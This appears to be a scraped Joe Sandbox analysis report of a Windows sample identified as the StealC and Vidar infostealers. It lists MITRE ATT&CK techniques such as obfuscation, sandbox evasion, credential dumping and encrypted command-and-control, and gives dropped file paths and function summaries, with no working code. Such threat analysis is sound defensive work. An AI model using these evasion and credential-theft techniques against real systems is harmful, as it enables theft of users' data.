Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCFHDHI

C:\ProgramData\AFCFHDHIIIECBGCAKFIJ

C:\ProgramData\CAKEBFCFIJJKKECAKJEHDAAFIE

C:\ProgramData\DBKKFHIEGDHJKECAAKKEBAFIJK

C:\ProgramData\DBKKKEHDHCBFIEBFBGIDGHJJJD

C:\ProgramData\ECBGCGCGIEGCBFHIIEBF

C:\ProgramData\GDBAKEGI

C:\ProgramData\HCAAEGIJKEGHIDGCBAEB

C:\ProgramData\JDHCBAEHJJJKKFIDGHJECAFIDA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00E39860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00E245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00E2BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00E34910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00E39C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00E27710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00E30250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre